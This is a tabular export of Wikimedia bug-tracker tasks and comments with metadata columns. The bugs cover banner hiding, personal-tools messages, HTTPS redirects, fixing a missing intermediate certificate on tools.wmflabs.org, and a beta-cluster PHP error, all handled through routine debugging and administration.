+250331,Echo notifications icons (in p-personal) displayed with missing or incorrect style after a CentralAuth autologin,I think Echo just needs to add a listener to the centralauth-p-personal-reset hook?,,,1410462568,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ipccqgbhra6m6g4otthg,task_subcomment,,True,c2,3,False,,,54,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+250325,Echo notifications icons (in p-personal) displayed with missing or incorrect style after a CentralAuth autologin,*** Bug 55545 has been marked as a duplicate of this bug. ***,,,1385134035,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ipccqgbhra6m6g4otthg,task_subcomment,,True,c2,3,True,,,12,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+250318,Echo notifications icons (in p-personal) displayed with missing or incorrect style after a CentralAuth autologin,That's a CA issue.,,,1377040871,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ipccqgbhra6m6g4otthg,task_subcomment,,True,c2,2,True,,,-2,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+55116,hideBanner not correctly working on HTTPS notice,"multiple reports coming in via IRC.
+
+The banner can be hiden on one page, but as soon as another page is opened, it reappears.
+
+I can confirm this on enwiki.
+
+The notice in question (generic maintenance one):
+https://meta.wikimedia.org/wiki/CentralNotice/Generic_maintenance_notice
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=17108",Medium,50.0,1377030300,1377032140.0,PHID-USER-z3l4i7dl52qicxtephy5,False,,False,PHID-TASK-rdjnxovd6bc7g6s6yocp,task_description,resolved,True,c2,2,False,False,True,-2,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+249439,hideBanner not correctly working on HTTPS notice,"ok,
+
+So I've turned off the banner for now to let the cache clear but I've also fixed the issue. When I turn it back on in 15 minutes or so (give it time to clear then test it quickly obviously if I screwed something off I'll wait another 10 minutes after fixing it) it will be hideable.
+
+The fact is indeed the emergency nature which needs it's own individual cookie set up. We have a red warning box on Special:CentralNotice about that but it may not be obvious enough (this is supposed to happen automatically but is not in the software yet). Right now we have a template script set up to help with that for the record:
+
+1. Make the 'wrapper' div for the banner (in this case siteNoticeWrapper ) display:none.
+2. Add {{MediaWiki:CentralNoticeHideBanner.js}} to the bottom of the banner code.
+3. Save (After saving you may need to refresh the page again as well).
+4. Fill out the new variables that popped up:
+4a. hide-cookie-div - the name of the wrapper div (in this case siteNoticeWrapper ) 
+4b. hide-cookie-name - the name of the cookie you want to use (could be the same as another emergency banner for example)
+4c. hide-cookie-expire - Expiry length, in days
+5. Make the close button onclick=""mw.centralNotice.bannerData.hideBanner()""
+6. Save",,,1377032130,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-rdjnxovd6bc7g6s6yocp,task_subcomment,,True,c2,2,False,,,-2,True,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+249433,hideBanner not correctly working on HTTPS notice,"Apparently it's because the banner is marked as ""emergency"", see bug 17108 comment 8.
+
+https://meta.wikimedia.org/w/index.php?title=Special:CentralNotice&method=listNoticeDetail&notice=Generic+maintenance+notice",,,1377031221,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-rdjnxovd6bc7g6s6yocp,task_subcomment,,True,c2,2,True,,,-2,True,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0
+54861,"Separate login, logout and create account personal tools messages from messages used as special page titles","From Nemo at bug 43172:
+
+> Thanks Krenair and MatmaRex. The worst offender for this bug is the title of
+> Special:UserLogin/signup, MediaWiki:Createaccount .
+> It was originally only the title of the special page, but got recently abused
+> as link label from the personal toolbar of unregistered users; the result is
+> that e.g. in Italian it says ""Register"" to satisfy the new usecase and is no
+> longer ok as title for the special page. The two messages should be
+> separated.
+
+This can be fixed by making the register personal tools message separate (e.g. pt-createaccount).
+
+Nemo, do you think it makes sense to also do this for login and logout?
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1376507340,1393174552.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-d3un6qx5befgym2zclsa,task_description,resolved,True,c2,2,False,False,False,-2,True,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,0,0,0,1,1,1,1
+234699,"Separate login, logout and create account personal tools messages from messages used as special page titles","Change 100724 merged by jenkins-bot:
+Add personal tools messages for messages login, userlogout, createaccount
+
+https://gerrit.wikimedia.org/r/100724",,,1393174700,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-d3un6qx5befgym2zclsa,task_subcomment,,True,c2,3,False,,,25,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+234694,"Separate login, logout and create account personal tools messages from messages used as special page titles","Change 100724 had a related patch set uploaded by MegaAlex:
+Add personal tools messages for messages login, userlogout, createaccount
+
+https://gerrit.wikimedia.org/r/100724",,,1386723402,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-d3un6qx5befgym2zclsa,task_subcomment,,True,c2,3,False,,,15,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+234687,"Separate login, logout and create account personal tools messages from messages used as special page titles","Yep, that's what I meant.  So basically, create and use pt-createaccount, pt-login, and pt-userlogout.",,,1376520436,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-d3un6qx5befgym2zclsa,task_subcomment,,True,c2,2,False,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0
+234682,"Separate login, logout and create account personal tools messages from messages used as special page titles","(In reply to comment #0)
+> Nemo, do you think it makes sense to also do this for login and logout?
+
+If ""this"" is not using the same message for both special page title and link labels in personal tools, definitely yes.",,,1376511237,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-d3un6qx5befgym2zclsa,task_subcomment,,True,c2,2,True,,,-2,True,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,1
+54698,https://wikidata.org is redirect to http,"When going over https://wikidata.org to wikidata.org, you will end up on a http page, not on requested https.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**See Also**:
+https://rt.wikimedia.org/Ticket/Display.html?id=5666",Medium,50.0,1376123880,1377477008.0,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,False,PHID-TASK-q7alf64nc36fn7a5dcir,task_description,resolved,True,c2,2,False,False,True,-3,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+249519,https://wikidata.org is redirect to http,"
+
+*** This bug has been marked as a duplicate of bug 31369 ***",,,1377477008,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-q7alf64nc36fn7a5dcir,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+54630,Fix certificate chain issue for tools.wmflabs.org,"**Author:** `rlane32`
+
+**Description:**
+Cert chain is missing intermediate cert.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Medium,50.0,1375941480,1391529995.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-lj6dlcwpqvbqae2gsgu3,task_description,resolved,True,c2,2,False,False,False,-3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+245549,Fix certificate chain issue for tools.wmflabs.org,*** Bug 58284 has been marked as a duplicate of this bug. ***,,,1391550536,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-lj6dlcwpqvbqae2gsgu3,task_subcomment,,True,c2,3,False,,,22,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+245543,Fix certificate chain issue for tools.wmflabs.org,"(In reply to comment #9)
+> While 
+> http://www.sslshopper.com/ssl-checker.html#hostname=tools.wmflabs.org
+> has an all green result
+
+> http://www.sslshopper.com/ssl-checker.html#hostname=fastcci1.wmflabs.org
+> gives a warning (""The certificate is not trusted in all web browsers."")
+
+(That was a mid-air collision :-).)  I fixed *only* tools.wmflabs.org (as per the title of this bug :-)).  So I'm closing this bug again.
+
+I assume you use [[wikitech:Help:Proxy]] for fastcci1?  Could you open another bug for that as it is a totally unrelated system?",,,1391529995,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-lj6dlcwpqvbqae2gsgu3,task_subcomment,,True,c2,3,True,,,22,True,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1,1,1,1,0,1,1,0,1,0,1,0,0,1
+245537,Fix certificate chain issue for tools.wmflabs.org,"(In reply to comment #8)
+> The error still keeps reoccurring intermittently. I've sent since sent two
+> emails to the labs list. As soon as the bug was closed I tried it on my
+> Android
+> phone and it worked fine. A few hours later I tried it on my tablet and it
+> didn't work. Early this morning it worked, and just now it failed again (this
+> seems to be device independent and only depending on time).
+
+> Could there be multiple hosts that need the fix (round robin)?
+
+No, there is only one host (tools-webproxy) that handles SSL and then relays via plain http to tools-webserver-0[1-3]/tools-webgrid-01.
+
+I can't reproduce your problems; I've tried three online checks (http://www.sslshopper.com/ssl-checker.html, http://www.digicert.com/help/, https://www.ssllabs.com/ssltest/analyze.html) and all succeed (while they failed previously).
+
+Are you directly accessing https://tools.wmflabs.org/ (vs. CORS in your tool) and seeing the issue?  Which phone/tablet and software are you using?",,,1391529699,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-lj6dlcwpqvbqae2gsgu3,task_subcomment,,True,c2,3,True,,,22,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1
+245530,Fix certificate chain issue for tools.wmflabs.org,"**daniel** wrote:
+
+While 
+http://www.sslshopper.com/ssl-checker.html#hostname=tools.wmflabs.org
+has an all green result
+
+http://www.sslshopper.com/ssl-checker.html#hostname=fastcci1.wmflabs.org
+gives a warning (""The certificate is not trusted in all web browsers."")",,,1391528978,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lj6dlcwpqvbqae2gsgu3,task_subcomment,,True,c2,3,False,,,22,True,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+245524,Fix certificate chain issue for tools.wmflabs.org,"**daniel** wrote:
+
+The error still keeps reoccurring intermittently. I've sent since sent two emails to the labs list. As soon as the bug was closed I tried it on my Android phone and it worked fine. A few hours later I tried it on my tablet and it didn't work. Early this morning it worked, and just now it failed again (this seems to be device independent and only depending on time).
+
+Could there be multiple hosts that need the fix (round robin)?",,,1391519253,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lj6dlcwpqvbqae2gsgu3,task_subcomment,,True,c2,3,False,,,22,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0
+245518,Fix certificate chain issue for tools.wmflabs.org,"Wait, so SSLCertificateChainFile should specifically /not/ be a certificate chain file?  That's...  so sane.
+
+*groan*
+
+Thanks for debugging this Tim.",,,1391482969,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-lj6dlcwpqvbqae2gsgu3,task_subcomment,,True,c2,3,False,,,22,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0
+245511,Fix certificate chain issue for tools.wmflabs.org,"I fixed this with step-by-step instructions from jeremyb, inspired by bug #23631:
+
+- Point SSLCertificateFile to tools.wmflabs.org.pem, and
+- point SSLCertificateChainFile to RapidSSL_CA.pem.
+
+Yeah, that's right, not to some chained certificate or whatever, just to the missing intermediate certificate :-).
+
+Thanks again to jeremyb for his help.",,,1391482757,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-lj6dlcwpqvbqae2gsgu3,task_subcomment,,True,c2,3,True,,,22,True,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+245503,Fix certificate chain issue for tools.wmflabs.org,"I played around with it a bit yesterday, but any attempt appeared futile.
+
+On tools-webproxy, I made sure RapidSSL_CA.pem was in /etc/ssl/certs, up to date and had a symlink.  I've set SSLCACertificatePath to /etc/ssl/certs, shut down and started up Apache, and still only the server certificate was served either to online test sites or ""echo | openssl s_client -connect tools.wmflabs.org:443 | less"".
+
+I set SSLCertificateChainFile to tools.wmflabs.org.chained.pem which I created by ""cat tools.wmflabs.org.pem RapidSSL_CA.pem GeoTrust_Global_CA.pem > tools.wmflabs.org.chained.pem"", yet: Nada.
+
+I've renamed tools.wmflabs.org.chained.pem to tools.wmflabs.org.pem to have Apache read the chained certificate as its only SSLCertificateFile option, and still only the server certificate was served; and in all cases, after a proper shutdown & start.
+
+So, Coren, after this experience and recently watching RobH fiddle with wikitech's certificate for hours to get it right, a checklist: ""File x should have one -- CERTIFICATE -- session"", ""Directive y should point to file Z"", etc. would be greatly appreciated :-).",,,1391398270,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-lj6dlcwpqvbqae2gsgu3,task_subcomment,,True,c2,3,True,,,22,True,1,0,1,1,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,1,0,1,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,1,0,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+245496,Fix certificate chain issue for tools.wmflabs.org,"**daniel** wrote:
+
+This still exists. I get the certificate error (intermediate missing) on my Android phone and Tablet. For me it causes tool breakage, as my tool depends on a CORS connection to labs, which is refused for hosts with broken certs.",,,1391354557,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lj6dlcwpqvbqae2gsgu3,task_subcomment,,True,c2,3,False,,,22,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+245489,Fix certificate chain issue for tools.wmflabs.org,"**sumanah** wrote:
+
+If this is still a problem, I'd say it's at least normal priority.",,,1380327382,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lj6dlcwpqvbqae2gsgu3,task_subcomment,,True,c2,3,False,,,4,True,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,0
+245483,Fix certificate chain issue for tools.wmflabs.org,"Also, should copy the nginx conf for cipher prefs, etc. from prod.",,,1376189039,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-lj6dlcwpqvbqae2gsgu3,task_subcomment,,True,c2,2,False,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1
+245477,Fix certificate chain issue for tools.wmflabs.org,"To be clear, this is not just about doing things right; the service inaccessible to some users (e.g. my phone) in its current state.",,,1376188785,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-lj6dlcwpqvbqae2gsgu3,task_subcomment,,True,c2,2,False,,,-3,True,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+54534,Special:UserLogin shows Fatal Error for Translate/specials/SpecialManageGroups.php trying to include OggHandler,"http://commons.wikimedia.beta.wmflabs.org/w/index.php?title=Special:UserLogin
+
+PHP fatal error in /data/project/apache/common-local/php-master/includes/AutoLoader.php line 1158:
+require() [<a href='function.require'>function.require</a>]: Failed opening required '/data/project/apache/common-local/php-master/extensions/Translate/specials/SpecialManageGroups.php' (include_path='/data/project/apache/common-local/php-master/extensions/TimedMediaHandler/handlers/OggHandler/PEAR/File_Ogg:/usr/local/apache/common-local/php-master:/usr/local/lib/php:/usr/share/php')
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: http://commons.wikimedia.beta.wmflabs.org/w/index.php?title=Special:UserLogin
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52316",Medium,50.0,1375652760,1375656963.0,PHID-USER-nuf2sujf7qrx4v5ixbs3,False,,False,PHID-TASK-wxadxldwv6x3wbzk3v6g,task_description,resolved,True,c2,2,False,False,True,-4,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+239758,Special:UserLogin shows Fatal Error for Translate/specials/SpecialManageGroups.php trying to include OggHandler,That is Bug 52316 - MediaWiki code update sometime leave deleted files,,,1375690409,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-wxadxldwv6x3wbzk3v6g,task_subcomment,,True,c2,2,True,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+239752,Special:UserLogin shows Fatal Error for Translate/specials/SpecialManageGroups.php trying to include OggHandler,"/data/project/apache/common-local/php-master/extensions/Translate/specials/SpecialManageGroups.php was deleted locally.
+
+Restored with 
+platonides@deployment-bastion:/data/project/apache/common-local/php-master/extensions/Translate$ sudo git reset --hard",,,1375656954,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-wxadxldwv6x3wbzk3v6g,task_subcomment,,True,c2,2,False,,,-4,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+239748,Special:UserLogin shows Fatal Error for Translate/specials/SpecialManageGroups.php trying to include OggHandler,+ http://wikidata.beta.wmflabs.org/w/index.php?title=Special:UserLogin,,,1375652960,,PHID-USER-nuf2sujf7qrx4v5ixbs3,False,,,PHID-TASK-wxadxldwv6x3wbzk3v6g,task_subcomment,,True,c2,2,False,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+54506,"HTTPS: Add a server certificate fingerprint viewer (md5, sha1, sha256) in the settings","I just learned - after having asked in the chats, that the Mobile Android App uses only https . This was not apparent, and should perhaps be mentioned somewhere.
+
+Suggestion
+==========
+
+This bugzilla has the aim to add a new entry in the settings with which the fingerprint (as md5, sha-1, sha-256) of the connected server's certificate can be shown on the device.
+
+Of course, the foundation server(s) should have a page entry, where the certificate fingerprints can be cross-checked.
+
+See code for a tiny certificate viewer in PHP https://github.com/Wikinaut/MySimpleCertViewer perhaps useful as a starting point to bake your own viewer in Java.
+
+--------------------------
+**Version**: Unspecified
+**Severity**: enhancement",Medium,50.0,1375564560,1383167851.0,PHID-USER-ppvnwr24o32pux3le5ov,False,,False,PHID-TASK-mp3vt77ridtxeybhsagw,task_description,declined,True,c2,2,False,False,True,-4,True,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,1,0,1,0,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+238037,"HTTPS: Add a server certificate fingerprint viewer (md5, sha1, sha256) in the settings",This is way outside the scope of the app.,,,1383167851,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-mp3vt77ridtxeybhsagw,task_subcomment,,True,c2,3,True,,,9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+54342,"Remove ""Remember my login""-option from the preferences","In the User profile options in the preferences, we have the checkbox: ""Remember my login on this browser (for a maximum of 30 days)""
+
+Why ? Does anyone use that ? What's wrong with checkbox on the Login page ? Is it just that we don't persist the 'last' choice on the login page ?
+
+Seems rather overkill to me, definitely clutters the preferences and possibly it is confusing to users ?
+
+--------------------------
+**Version**: 1.23.0
+**Severity**: normal
+**See Also**: {T69133}",Medium,50.0,1375300740,1400685900.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-qd3sc7hakl6y5s26uzx2,task_description,resolved,True,c2,1,False,False,False,-4,True,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,0,0,0,0
+253656,"Remove ""Remember my login""-option from the preferences","Change 134615 merged by jenkins-bot:
+Removed 'Remember my login' preference
+
